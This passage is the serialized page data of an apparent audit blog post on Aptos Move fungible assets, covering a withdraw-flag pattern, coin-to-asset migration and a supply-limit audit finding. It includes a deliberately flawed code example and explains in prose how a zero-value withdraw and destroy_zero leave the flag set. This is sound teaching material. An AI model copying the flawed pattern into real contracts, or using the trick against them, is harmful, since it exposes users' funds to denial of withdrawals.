set_withdraw_flag",{"type":19,"tag":168,"props":63880,"children":63881},{"style":212},[63882],{"type":24,"value":500},{"type":19,"tag":168,"props":63884,"children":63885},{"style":382},[63886],{"type":24,"value":5612},{"type":19,"tag":168,"props":63888,"children":63889},{"style":212},[63890],{"type":24,"value":1249},{"type":19,"tag":168,"props":63892,"children":63893},{"class":170,"line":560},[63894,63898,63902,63906,63910,63914,63918,63922,63926,63930],{"type":19,"tag":168,"props":63895,"children":63896},{"style":212},[63897],{"type":24,"value":63446},{"type":19,"tag":168,"props":63899,"children":63900},{"style":399},[63901],{"type":24,"value":888},{"type":19,"tag":168,"props":63903,"children":63904},{"style":175},[63905],{"type":24,"value":63634},{"type":19,"tag":168,"props":63907,"children":63908},{"style":212},[63909],{"type":24,"value":500},{"type":19,"tag":168,"props":63911,"children":63912},{"style":393},[63913],{"type":24,"value":63464},{"type":19,"tag":168,"props":63915,"children":63916},{"style":212},[63917],{"type":24,"value":471},{"type":19,"tag":168,"props":63919,"children":63920},{"style":393},[63921],{"type":24,"value":3375},{"type":19,"tag":168,"props":63923,"children":63924},{"style":212},[63925],{"type":24,"value":471},{"type":19,"tag":168,"props":63927,"children":63928},{"style":393},[63929],{"type":24,"value":17761},{"type":19,"tag":168,"props":63931,"children":63932},{"style":212},[63933],{"type":24,"value":1249},{"type":19,"tag":168,"props":63935,"children":63936},{"class":170,"line":666},[63937,63941,63945],{"type":19,"tag":168,"props":63938,"children":63939},{"style":212},[63940],{"type":24,"value":60203},{"type":19,"tag":168,"props":63942,"children":63943},{"style":399},[63944],{"type":24,"value":7032},{"type":19,"tag":168,"props":63946,"children":63947},{"style":212},[63948],{"type":24,"value":9217},{"type":19,"tag":168,"props":63950,"children":63951},{"class":170,"line":694},[63952],{"type":19,"tag":168,"props":63953,"children":63954},{"style":212},[63955],{"type":24,"value":761},{"type":19,"tag":168,"props":63957,"children":63958},{"class":170,"line":707},[63959],{"type":19,"tag":168,"props":63960,"children":63961},{"emptyLinePlaceholder":14},[63962],{"type":24,"value":1093},{"type":19,"tag":168,"props":63964,"children":63965},{"class":170,"line":725},[63966,63970,63974,63978,63982,63986,63990,63994,63998,64002,64006,64010,64014,64018,64022,64026,64030,64034,64038,64042,64046,64050,64054,64058,64062,64066,64070,64074,64078],{"type":19,"tag":168,"props":63967,"children":63968},{"style":393},[63969],{"type":24,"value":59160},{"type":19,"tag":168,"props":63971,"children":63972},{"style":393},[63973],{"type":24,"value":3642},{"type":19,"tag":168,"props":63975,"children":63976},{"style":393},[63977],{"type":24,"value":17726},{"type":19,"tag":168,"props":63979,"children":63980},{"style":212},[63981],{"type":24,"value":3240},{"type":19,"tag":168,"props":63983,"children":63984},{"style":825},[63985],{"type":24,"value":3422},{"type":19,"tag":168,"props":63987,"children":63988},{"style":399},[63989],{"type":24,"value":1922},{"type":19,"tag":168,"props":63991,"children":63992},{"style":393},[63993],{"type":24,"value":3366},{"type":19,"tag":168,"props":63995,"children":63996},{"style":212},[63997],{"type":24,"value":5047},{"type":19,"tag":168,"props":63999,"children":64000},{"style":393},[64001],{"type":24,"value":3375},{"type":19,"tag":168,"props":64003,"children":64004},{"style":399},[64005],{"type":24,"value":1922},{"type":19,"tag":168,"props":64007,"children":64008},{"style":825},[64009],{"type":24,"value":59046},{"type":19,"tag":168,"props":64011,"children":64012},{"style":212},[64013],{"type":24,"value":3240},{"type":19,"tag":168,"props":64015,"children":64016},{"style":825},[64017],{"type":24,"value":3422},{"type":19,"tag":168,"props":64019,"children":64020},{"style":212},[64021],{"type":24,"value":4066},{"type":19,"tag":168,"props":64023,"children":64024},{"style":393},[64025],{"type":24,"value":17761},{"type":19,"tag":168,"props":64027,"children":64028},{"style":399},[64029],{"type":24,"value":1922},{"type":19,"tag":168,"props":64031,"children":64032},{"style":825},[64033],{"type":24,"value":3294},{"type":19,"tag":168,"props":64035,"children":64036},{"style":212},[64037],{"type":24,"value":471},{"type":19,"tag":168,"props":64039,"children":64040},{"style":393},[64041],{"type":24,"value":63464},{"type":19,"tag":168,"props":64043,"children":64044},{"style":399},[64045],{"type":24,"value":1922},{"type":19,"tag":168,"props":64047,"children":64048},{"style":399},[64049],{"type":24,"value":4577},{"type":19,"tag":168,"props":64051,"children":64052},{"style":825},[64053],{"type":24,"value":62910},{"type":19,"tag":168,"props":64055,"children":64056},{"style":212},[64057],{"type":24,"value":524},{"type":19,"tag":168,"props":64059,"children":64060},{"style":399},[64061],{"type":24,"value":1922},{"type":19,"tag":168,"props":64063,"children":64064},{"style":825},[64065],{"type":24,"value":59025},{"type":19,"tag":168,"props":64067,"children":64068},{"style":393},[64069],{"type":24,"value":5003},{"type":19,"tag":168,"props":64071,"children":64072},{"style":212},[64073],{"type":24,"value":20488},{"type":19,"tag":168,"props":64075,"children":64076},{"style":399},[64077],{"type":24,"value":7032},{"type":19,"tag":168,"props":64079,"children":64080},{"style":212},[64081],{"type":24,"value":59251},{"type":19,"tag":168,"props":64083,"children":64084},{"class":170,"line":746},[64085,64089,64093,64097],{"type":19,"tag":168,"props":64086,"children":64087},{"style":175},[64088],{"type":24,"value":63843},{"type":19,"tag":168,"props":64090,"children":64091},{"style":212},[64092],{"type":24,"value":500},{"type":19,"tag":168,"props":64094,"children":64095},{"style":382},[64096],{"type":24,"value":5612},{"type":19,"tag":168,"props":64098,"children":64099},{"style":212},[64100],{"type":24,"value":1249},{"type":19,"tag":168,"props":64102,"children":64103},{"class":170,"line":755},[64104,64108,64112],{"type":19,"tag":168,"props":64105,"children":64106},{"style":212},[64107],{"type":24,"value":60203},{"type":19,"tag":168,"props":64109,"children":64110},{"style":399},[64111],{"type":24,"value":7032},{"type":19,"tag":168,"props":64113,"children":64114},{"style":212},[64115],{"type":24,"value":9217},{"type":19,"tag":168,"props":64117,"children":64118},{"class":170,"line":1008},[64119,64123,64127,64131],{"type":19,"tag":168,"props":64120,"children":64121},{"style":175},[64122],{"type":24,"value":63878},{"type":19,"tag":168,"props":64124,"children":64125},{"style":212},[64126],{"type":24,"value":500},{"type":19,"tag":168,"props":64128,"children":64129},{"style":382},[64130],{"type":24,"value":1423},{"type":19,"tag":168,"props":64132,"children":64133},{"style":212},[64134],{"type":24,"value":1249},{"type":19,"tag":168,"props":64136,"children":64137},{"class":170,"line":1025},[64138,64142,64146,64150,64154,64158,64162,64166,64170,64174],{"type":19,"tag":168,"props":64139,"children":64140},{"style":212},[64141],{"type":24,"value":63446},{"type":19,"tag":168,"props":64143,"children":64144},{"style":399},[64145],{"type":24,"value":888},{"type":19,"tag":168,"props":64147,"children":64148},{"style":175},[64149],{"type":24,"value":63455},{"type":19,"tag":168,"props":64151,"children":64152},{"style":212},[64153],{"type":24,"value":500},{"type":19,"tag":168,"props":64155,"children":64156},{"style":393},[64157],{"type":24,"value":63464},{"type":19,"tag":168,"props":64159,"children":64160},{"style":212},[64161],{"type":24,"value":471},{"type":19,"tag":168,"props":64163,"children":64164},{"style":393},[64165],{"type":24,"value":3375},{"type":19,"tag":168,"props":64167,"children":64168},{"style":212},[64169],{"type":24,"value":471},{"type":19,"tag":168,"props":64171,"children":64172},{"style":393},[64173],{"type":24,"value":17761},{"type":19,"tag":168,"props":64175,"children":64176},{"style":212},[64177],{"type":24,"value":557},{"type":19,"tag":168,"props":64179,"children":64180},{"class":170,"line":1042},[64181],{"type":19,"tag":168,"props":64182,"children":64183},{"style":212},[64184],{"type":24,"value":1326},{"type":19,"tag":20,"props":64186,"children":64187},{},[64188],{"type":24,"value":64189},"At first glance, this code appears valid, but not to an astute reader.",{"type":19,"tag":63671,"props":64191,"children":64192},{},[64193,64198],{"type":19,"tag":20,"props":64194,"children":64195},{},[64196],{"type":24,"value":64197},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":19,"tag":63702,"props":64199,"children":64200},{"v-slot:answer-0":7},[64201,64221],{"type":19,"tag":20,"props":64202,"children":64203},{},[64204,64206,64211,64213,64219],{"type":24,"value":64205},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":19,"tag":27,"props":64207,"children":64209},{"className":64208},[],[64210],{"type":24,"value":58996},{"type":24,"value":64212}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":19,"tag":27,"props":64214,"children":64216},{"className":64215},[],[64217],{"type":24,"value":64218},"fungible_asset::destroy_zero",{"type":24,"value":64220},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":19,"tag":20,"props":64222,"children":64223},{},[64224],{"type":24,"value":64225},"It's important to understand all the features in the standard.",{"type":19,"tag":36,"props":64227,"children":64229},{"id":64228},"migrating-from-coins-to-fungible-assets",[64230],{"type":24,"value":64231},"Migrating from coins to fungible assets",{"type":19,"tag":20,"props":64233,"children":64234},{},[64235,64237,64242],{"type":24,"value":64236},"If a fungible asset is considered an upgrade to ",{"type":19,"tag":27,"props":64238,"children":64240},{"className":64239},[],[64241],{"type":24,"value":58451},{"type":24,"value":64243},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":19,"tag":64245,"props":64246,"children":64247},"note",{},[64248],{"type":19,"tag":20,"props":64249,"children":64250},{},[64251,64253,64258,64260,64265],{"type":24,"value":64252},"While the ",{"type":19,"tag":27,"props":64254,"children":64256},{"className":64255},[],[64257],{"type":24,"value":58451},{"type":24,"value":64259}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":19,"tag":27,"props":64261,"children":64263},{"className":64262},[],[64264],{"type":24,"value":58451},{"type":24,"value":948},{"type":19,"tag":20,"props":64267,"children":64268},{},[64269,64270,64276,64278,64283,64285,64290],{"type":24,"value":14062},{"type":19,"tag":27,"props":64271,"children":64273},{"className":64272},[],[64274],{"type":24,"value":64275},"coin_to_fungible_asset",{"type":24,"value":64277}," converting function automatically generates a corresponding fungible asset for a ",{"type":19,"tag":27,"props":64279,"children":64281},{"className":64280},[],[64282],{"type":24,"value":58451},{"type":24,"value":64284}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":19,"tag":27,"props":64286,"children":64288},{"className":64287},[],[64289],{"type":24,"value":58451},{"type":24,"value":64291}," is not allowed.",{"type":19,"tag":158,"props":64293,"children":64295},{"className":363,"code":64294,"language":362,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[64296],{"type":19,"tag":27,"props":64297,"children":64298},{"__ignoreMap":7},[64299,64327,64354,64390,64423,64456,64492],{"type":19,"tag":168,"props":64300,"children":64301},{"class":170,"line":171},[64302,64306,64310,64315,64319,64323],{"type":19,"tag":168,"props":64303,"children":64304},{"style":393},[64305],{"type":24,"value":59160},{"type":19,"tag":168,"props":64307,"children":64308},{"style":393},[64309],{"type":24,"value":3642},{"type":19,"tag":168,"props":64311,"children":64312},{"style":393},[64313],{"type":24,"value":64314}," coin_to_fungible_asset",{"type":19,"tag":168,"props":64316,"children":64317},{"style":212},[64318],{"type":24,"value":3240},{"type":19,"tag":168,"props":64320,"children":64321},{"style":825},[64322],{"type":24,"value":4019},{"type":19,"tag":168,"props":64324,"children":64325},{"style":212},[64326],{"type":24,"value":4024},{"type":19,"tag":168,"props":64328,"children":64329},{"class":170,"line":198},[64330,64334,64338,64342,64346,64350],{"type":19,"tag":168,"props":64331,"children":64332},{"style":393},[64333],{"type":24,"value":58670},{"type":19,"tag":168,"props":64335,"children":64336},{"style":399},[64337],{"type":24,"value":1922},{"type":19,"tag":168,"props":64339,"children":64340},{"style":825},[64341],{"type":24,"value":3235},{"type":19,"tag":168,"props":64343,"children":64344},{"style":212},[64345],{"type":24,"value":3240},{"type":19,"tag":168,"props":64347,"children":64348},{"style":825},[64349],{"type":24,"value":4019},{"type":19,"tag":168,"props":64351,"children":64352},{"style":212},[64353],{"type":24,"value":3427},{"type":19,"tag":168,"props":64355,"children":64356},{"class":170,"line":415},[64357,64361,64365,64369,64373,64378,64382,64386],{"type":19,"tag":168,"props":64358,"children":64359},{"style":212},[64360],{"type":24,"value":524},{"type":19,"tag":168,"props":64362,"children":64363},{"style":399},[64364],{"type":24,"value":1922},{"type":19,"tag":168,"props":64366,"children":64367},{"style":825},[64368],{"type":24,"value":59025},{"type":19,"tag":168,"props":64370,"children":64371},{"style":393},[64372],{"type":24,"value":5003},{"type":19,"tag":168,"props":64374,"children":64375},{"style":825},[64376],{"type":24,"value":64377}," CoinConversionMap",{"type":19,"tag":168,"props":64379,"children":64380},{"style":212},[64381],{"type":24,"value":471},{"type":19,"tag":168,"props":64383,"children":64384},{"style":825},[64385],{"type":24,"value":4149},{"type":19,"tag":168,"props":64387,"children":64388},{"style":212},[64389],{"type":24,"value":691},{"type":19,"tag":168,"props":64391,"children":64392},{"class":170,"line":450},[64393,64397,64402,64406,64411,64415,64419],{"type":19,"tag":168,"props":64394,"children":64395},{"style":382},[64396],{"type":24,"value":385},{"type":19,"tag":168,"props":64398,"children":64399},{"style":393},[64400],{"type":24,"value":64401}," metadata",{"type":19,"tag":168,"props":64403,"children":64404},{"style":399},[64405],{"type":24,"value":402},{"type":19,"tag":168,"props":64407,"children":64408},{"style":393},[64409],{"type":24,"value":64410}," ensure_paired_metadata",{"type":19,"tag":168,"props":64412,"children":64413},{"style":212},[64414],{"type":24,"value":3240},{"type":19,"tag":168,"props":64416,"children":64417},{"style":825},[64418],{"type":24,"value":4019},{"type":19,"tag":168,"props":64420,"children":64421},{"style":212},[64422],{"type":24,"value":5889},{"type":19,"tag":168,"props":64424,"children":64425},{"class":170,"line":560},[64426,64430,64435,64439,64444,64448,64452],{"type":19,"tag":168,"props":64427,"children":64428},{"style":382},[64429],{"type":24,"value":385},{"type":19,"tag":168,"props":64431,"children":64432},{"style":393},[64433],{"type":24,"value":64434}," amount",{"type":19,"tag":168,"props":64436,"children":64437},{"style":399},[64438],{"type":24,"value":402},{"type":19,"tag":168,"props":64440,"children":64441},{"style":175},[64442],{"type":24,"value":64443}," burn_internal",{"type":19,"tag":168,"props":64445,"children":64446},{"style":212},[64447],{"type":24,"value":500},{"type":19,"tag":168,"props":64449,"children":64450},{"style":393},[64451],{"type":24,"value":58418},{"type":19,"tag":168,"props":64453,"children":64454},{"style":212},[64455],{"type":24,"value":1249},{"type":19,"tag":168,"props":64457,"children":64458},{"class":170,"line":666},[64459,64463,64467,64472,64476,64480,64484,64488],{"type":19,"tag":168,"props":64460,"children":64461},{"style":212},[64462],{"type":24,"value":63446},{"type":19,"tag":168,"props":64464,"children":64465},{"style":399},[64466],{"type":24,"value":888},{"type":19,"tag":168,"props":64468,"children":64469},{"style":175},[64470],{"type":24,"value":64471},"mint_internal",{"type":19,"tag":168,"props":64473,"children":64474},{"style":212},[64475],{"type":24,"value":500},{"type":19,"tag":168,"props":64477,"children":64478},{"style":393},[64479],{"type":24,"value":59797},{"type":19,"tag":168,"props":64481,"children":64482},{"style":212},[64483],{"type":24,"value":471},{"type":19,"tag":168,"props":64485,"children":64486},{"style":393},[64487],{"type":24,"value":17761},{"type":19,"tag":168,"props":64489,"children":64490},{"style":212},[64491],{"type":24,"value":557},{"type":19,"tag":168,"props":64493,"children":64494},{"class":170,"line":694},[64495],{"type":19,"tag":168,"props":64496,"children":64497},{"style":212},[64498],{"type":24,"value":1326},{"type":19,"tag":20,"props":64500,"children":64501},{},[64502,64504,64511],{"type":24,"value":64503},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":19,"tag":269,"props":64505,"children":64508},{"href":64506,"rel":64507},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[273],[64509],{"type":24,"value":64510},"noticed an overlooked detail",{"type":24,"value":64512}," in the linking process.",{"type":19,"tag":158,"props":64514,"children":64516},{"className":363,"code":64515,"language":362,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[64517],{"type":19,"tag":27,"props":64518,"children":64519},{"__ignoreMap":7},[64520,64535,64555,64572,64628,64649,64669,64689,64719,64746,64753],{"type":19,"tag":168,"props":64521,"children":64522},{"class":170,"line":171},[64523,64527,64531],{"type":19,"tag":168,"props":64524,"children":64525},{"style":212},[64526],{"type":24,"value":1152},{"type":19,"tag":168,"props":64528,"children":64529},{"style":399},[64530],{"type":24,"value":7032},{"type":19,"tag":168,"props":64532,"children":64533},{"style":212},[64534],{"type":24,"value":9217},{"type":19,"tag":168,"props":64536,"children":64537},{"class":170,"line":198},[64538,64542,64546,64551],{"type":19,"tag":168,"props":64539,"children":64540},{"style":212},[64541],{"type":24,"value":60094},{"type":19,"tag":168,"props":64543,"children":64544},{"style":399},[64545],{"type":24,"value":888},{"type":19,"tag":168,"props":64547,"children":64548},{"style":175},[64549],{"type":24,"value":64550},"create_primary_store_enabled_fungible_asset",{"type":19,"tag":168,"props":64552,"children":64553},{"style":212},[64554],{"type":24,"value":870},{"type":19,"tag":168,"props":64556,"children":64557},{"class":170,"line":415},[64558,64563,64568],{"type":19,"tag":168,"props":64559,"children":64560},{"style":399},[64561],{"type":24,"value":64562}," &",{"type":19,"tag":168,"props":64564,"children":64565},{"style":393},[64566],{"type":24,"value":64567},"metadata_object_cref",{"type":19,"tag":168,"props":64569,"children":64570},{"style":212},[64571],{"type":24,"value":915},{"type":19,"tag":168,"props":64573,"children":64574},{"class":170,"line":450},[64575,64580,64584,64589,64593,64598,64602,64606,64611,64615,64619,64623],{"type":19,"tag":168,"props":64576,"children":64577},{"style":212},[64578],{"type":24,"value":64579}," option",{"type":19,"tag":168,"props":64581,"children":64582},{"style":399},[64583],{"type":24,"value":888},{"type":19,"tag":168,"props":64585,"children":64586},{"style":175},[64587],{"type":24,"value":64588},"map",{"type":19,"tag":168,"props":64590,"children":64591},{"style":212},[64592],{"type":24,"value":500},{"type":19,"tag":168,"props":64594,"children":64595},{"style":393},[64596],{"type":24,"value":64597},"coin_supply",{"type":19,"tag":168,"props":64599,"children":64600},{"style":212},[64601],{"type":24,"value":3240},{"type":19,"tag":168,"props":64603,"children":64604},{"style":825},[64605],{"type":24,"value":4019},{"type":19,"tag":168,"props":64607,"children":64608},{"style":212},[64609],{"type":24,"value":64610},">(), ",{"type":19,"tag":168,"props":64612,"children":64613},{"style":399},[64614],{"type":24,"value":7859},{"type":19,"tag":168,"props":64616,"children":64617},{"style":393},[64618],{"type":24,"value":476},{"type":19,"tag":168,"props":64620,"children":64621},{"style":399},[64622],{"type":24,"value":7859},{"type":19,"tag":168,"props":64624,"children":64625},{"style":212},[64626],{"type":24,"value":64627}," MAX_U128),\n",{"type":19,"tag":168,"props":64629,"children":64630},{"class":170,"line":560},[64631,64636,64640,64644],{"type":19,"tag":168,"props":64632,"children":64633},{"style":393},[64634],{"type":24,"value":64635}," name",{"type":19,"tag":168,"props":64637,"children":64638},{"style":212},[64639],{"type":24,"value":3240},{"type":19,"tag":168,"props":64641,"children":64642},{"style":825},[64643],{"type":24,"value":4019},{"type":19,"tag":168,"props":64645,"children":64646},{"style":212},[64647],{"type":24,"value":64648},">(),\n",{"type":19,"tag":168,"props":64650,"children":64651},{"class":170,"line":666},[64652,64657,64661,64665],{"type":19,"tag":168,"props":64653,"children":64654},{"style":393},[64655],{"type":24,"value":64656}," symbol",{"type":19,"tag":168,"props":64658,"children":64659},{"style":212},[64660],{"type":24,"value":3240},{"type":19,"tag":168,"props":64662,"children":64663},{"style":825},[64664],{"type":24,"value":4019},{"type":19,"tag":168,"props":64666,"children":64667},{"style":212},[64668],{"type":24,"value":64648},{"type":19,"tag":168,"props":64670,"children":64671},{"class":170,"line":694},[64672,64677,64681,64685],{"type":19,"tag":168,"props":64673,"children":64674},{"style":393},[64675],{"type":24,"value":64676}," decimals",{"type":19,"tag":168,"props":64678,"children":64679},{"style":212},[64680],{"type":24,"value":3240},{"type":19,"tag":168,"props":64682,"children":64683},{"style":825},[64684],{"type":24,"value":4019},{"type":19,"tag":168,"props":64686,"children":64687},{"style":212},[64688],{"type":24,"value":64648},{"type":19,"tag":168,"props":64690,"children":64691},{"class":170,"line":707},[64692,64697,64701,64706,64710,64715],{"type":19,"tag":168,"props":64693,"children":64694},{"style":212},[64695],{"type":24,"value":64696}," string",{"type":19,"tag":168,"props":64698,"children":64699},{"style":399},[64700],{"type":24,"value":888},{"type":19,"tag":168,"props":64702,"children":64703},{"style":175},[64704],{"type":24,"value":64705},"utf8",{"type":19,"tag":168,"props":64707,"children":64708},{"style":212},[64709],{"type":24,"value":500},{"type":19,"tag":168,"props":64711,"children":64712},{"style":181},[64713],{"type":24,"value":64714},"b\"\"",{"type":19,"tag":168,"props":64716,"children":64717},{"style":212},[64718],{"type":24,"value":4172},{"type":19,"tag":168,"props":64720,"children":64721},{"class":170,"line":725},[64722,64726,64730,64734,64738,64742],{"type":19,"tag":168,"props":64723,"children":64724},{"style":212},[64725],{"type":24,"value":64696},{"type":19,"tag":168,"props":64727,"children":64728},{"style":399},[64729],{"type":24,"value":888},{"type":19,"tag":168,"props":64731,"children":64732},{"style":175},[64733],{"type":24,"value":64705},{"type":19,"tag":168,"props":64735,"children":64736},{"style":212},[64737],{"type":24,"value":500},{"type":19,"tag":168,"props":64739,"children":64740},{"style":181},[64741],{"type":24,"value":64714},{"type":19,"tag":168,"props":64743,"children":64744},{"style":212},[64745],{"type":24,"value":4172},{"type":19,"tag":168,"props":64747,"children":64748},{"class":170,"line":746},[64749],{"type":19,"tag":168,"props":64750,"children":64751},{"style":212},[64752],{"type":24,"value":1249},{"type":19,"tag":168,"props":64754,"children":64755},{"class":170,"line":755},[64756,64760,64764],{"type":19,"tag":168,"props":64757,"children":64758},{"style":212},[64759],{"type":24,"value":1152},{"type":19,"tag":168,"props":64761,"children":64762},{"style":399},[64763],{"type":24,"value":7032},{"type":19,"tag":168,"props":64765,"children":64766},{"style":212},[64767],{"type":24,"value":9217},{"type":19,"tag":20,"props":64769,"children":64770},{},[64771,64773,64778],{"type":24,"value":64772},"When the linked fungible asset was created, the current ",{"type":19,"tag":27,"props":64774,"children":64776},{"className":64775},[],[64777],{"type":24,"value":58451},{"type":24,"value":64779}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":19,"tag":20,"props":64781,"children":64782},{},[64783,64785,64790,64792,64798,64800,64805],{"type":24,"value":64784},"Users can manually migrate their ",{"type":19,"tag":27,"props":64786,"children":64788},{"className":64787},[],[64789],{"type":24,"value":58613},{"type":24,"value":64791}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":19,"tag":27,"props":64793,"children":64795},{"className":64794},[],[64796],{"type":24,"value":64797},"\u003CCoinStore\u003CCoinType>>",{"type":24,"value":64799}," from the caller. All coins in the ",{"type":19,"tag":27,"props":64801,"children":64803},{"className":64802},[],[64804],{"type":24,"value":58613},{"type":24,"value":64806}," are exchanged and transferred to the new store during the migration.",{"type":19,"tag":158,"props":64808,"children":64810},{"className":363,"code":64809,"language":362,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[64811],{"type":19,"tag":27,"props":64812,"children":64813},{"__ignoreMap":7},[64814,64822,64854,64874,64910,64951],{"type":19,"tag":168,"props":64815,"children":64816},{"class":170,"line":171},[64817],{"type":19,"tag":168,"props":64818,"children":64819},{"style":373},[64820],{"type":24,"value":64821},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":19,"tag":168,"props":64823,"children":64824},{"class":170,"line":198},[64825,64829,64833,64837,64842,64846,64850],{"type":19,"tag":168,"props":64826,"children":64827},{"style":393},[64828],{"type":24,"value":59160},{"type":19,"tag":168,"props":64830,"children":64831},{"style":393},[64832],{"type":24,"value":60127},{"type":19,"tag":168,"props":64834,"children":64835},{"style":393},[64836],{"type":24,"value":3642},{"type":19,"tag":168,"props":64838,"children":64839},{"style":393},[64840],{"type":24,"value":64841}," migrate_to_fungible_store",{"type":19,"tag":168,"props":64843,"children":64844},{"style":212},[64845],{"type":24,"value":3240},{"type":19,"tag":168,"props":64847,"children":64848},{"style":825},[64849],{"type":24,"value":4019},{"type":19,"tag":168,"props":64851,"children":64852},{"style":212},[64853],{"type":24,"value":4024},{"type":19,"tag":168,"props":64855,"children":64856},{"class":170,"line":415},[64857,64861,64865,64869],{"type":19,"tag":168,"props":64858,"children":64859},{"style":393},[64860],{"type":24,"value":22639},{"type":19,"tag":168,"props":64862,"children":64863},{"style":399},[64864],{"type":24,"value":1922},{"type":19,"tag":168,"props":64866,"children":64867},{"style":399},[64868],{"type":24,"value":4577},{"type":19,"tag":168,"props":64870,"children":64871},{"style":393},[64872],{"type":24,"value":64873},"signer\n",{"type":19,"tag":168,"props":64875,"children":64876},{"class":170,"line":450},[64877,64881,64885,64889,64893,64898,64902,64906],{"type":19,"tag":168,"props":64878,"children":64879},{"style":212},[64880],{"type":24,"value":481},{"type":19,"tag":168,"props":64882,"children":64883},{"style":393},[64884],{"type":24,"value":3779},{"type":19,"tag":168,"props":64886,"children":64887},{"style":825},[64888],{"type":24,"value":58634},{"type":19,"tag":168,"props":64890,"children":64891},{"style":212},[64892],{"type":24,"value":471},{"type":19,"tag":168,"props":64894,"children":64895},{"style":825},[64896],{"type":24,"value":64897},"CoinConversionMap",{"type":19,"tag":168,"props":64899,"children":64900},{"style":212},[64901],{"type":24,"value":471},{"type":19,"tag":168,"props":64903,"children":64904},{"style":825},[64905],{"type":24,"value":4149},{"type":19,"tag":168,"props":64907,"children":64908},{"style":212},[64909],{"type":24,"value":691},{"type":19,"tag":168,"props":64911,"children":64912},{"class":170,"line":560},[64913,64918,64922,64926,64931,64935,64939,64943,64947],{"type":19,"tag":168,"props":64914,"children":64915},{"style":393},[64916],{"type":24,"value":64917}," maybe_convert_to_fungible_store",{"type":19,"tag":168,"props":64919,"children":64920},{"style":212},[64921],{"type":24,"value":3240},{"type":19,"tag":168,"props":64923,"children":64924},{"style":825},[64925],{"type":24,"value":4019},{"type":19,"tag":168,"props":64927,"children":64928},{"style":212},[64929],{"type":24,"value":64930},">(signer",{"type":19,"tag":168,"props":64932,"children":64933},{"style":399},[64934],{"type":24,"value":888},{"type":19,"tag":168,"props":64936,"children":64937},{"style":175},[64938],{"type":24,"value":4645},{"type":19,"tag":168,"props":64940,"children":64941},{"style":212},[64942],{"type":24,"value":500},{"type":19,"tag":168,"props":64944,"children":64945},{"style":393},[64946],{"type":24,"value":10398},{"type":19,"tag":168,"props":64948,"children":64949},{"style":212},[64950],{"type":24,"value":4659},{"type":19,"tag":168,"props":64952,"children":64953},{"class":170,"line":666},[64954],{"type":19,"tag":168,"props":64955,"children":64956},{"style":212},[64957],{"type":24,"value":1326},{"type":19,"tag":20,"props":64959,"children":64960},{},[64961,64963,64968,64970,64975],{"type":24,"value":64962},"A curious reader might wonder about the fate of the ",{"type":19,"tag":27,"props":64964,"children":64966},{"className":64965},[],[64967],{"type":24,"value":58613},{"type":24,"value":64969}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":19,"tag":27,"props":64971,"children":64973},{"className":64972},[],[64974],{"type":24,"value":58613},{"type":24,"value":64976}," to ensure consistency.",{"type":19,"tag":63671,"props":64978,"children":64979},{},[64980,64999],{"type":19,"tag":20,"props":64981,"children":64982},{},[64983,64985,64990,64992,64997],{"type":24,"value":64984},"Could an attacker convert their ",{"type":19,"tag":27,"props":64986,"children":64988},{"className":64987},[],[64989],{"type":24,"value":58613},{"type":24,"value":64991}," to a primary fungible store and then register another ",{"type":19,"tag":27,"props":64993,"children":64995},{"className":64994},[],[64996],{"type":24,"value":58613},{"type":24,"value":64998}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":19,"tag":63702,"props":65000,"children":65001},{"v-slot:answer-0":7},[65002],{"type":19,"tag":20,"props":65003,"children":65004},{},[65005],{"type":24,"value":65006},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":19,"tag":36,"props":65008,"children":65009},{"id":26402},[65010],{"type":24,"value":16400},{"type":19,"tag":20,"props":65012,"children":65013},{},[65014,65016,65021],{"type":24,"value":65015},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":19,"tag":27,"props":65017,"children":65019},{"className":65018},[],[65020],{"type":24,"value":58451},{"type":24,"value":948},{"type":19,"tag":20,"props":65023,"children":65024},{},[65025],{"type":24,"value":65026},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":19,"tag":20,"props":65028,"children":65029},{},[65030,65032],{"type":24,"value":65031},"As a final exercise to the reader, how many different ways are there to withdraw a fungible 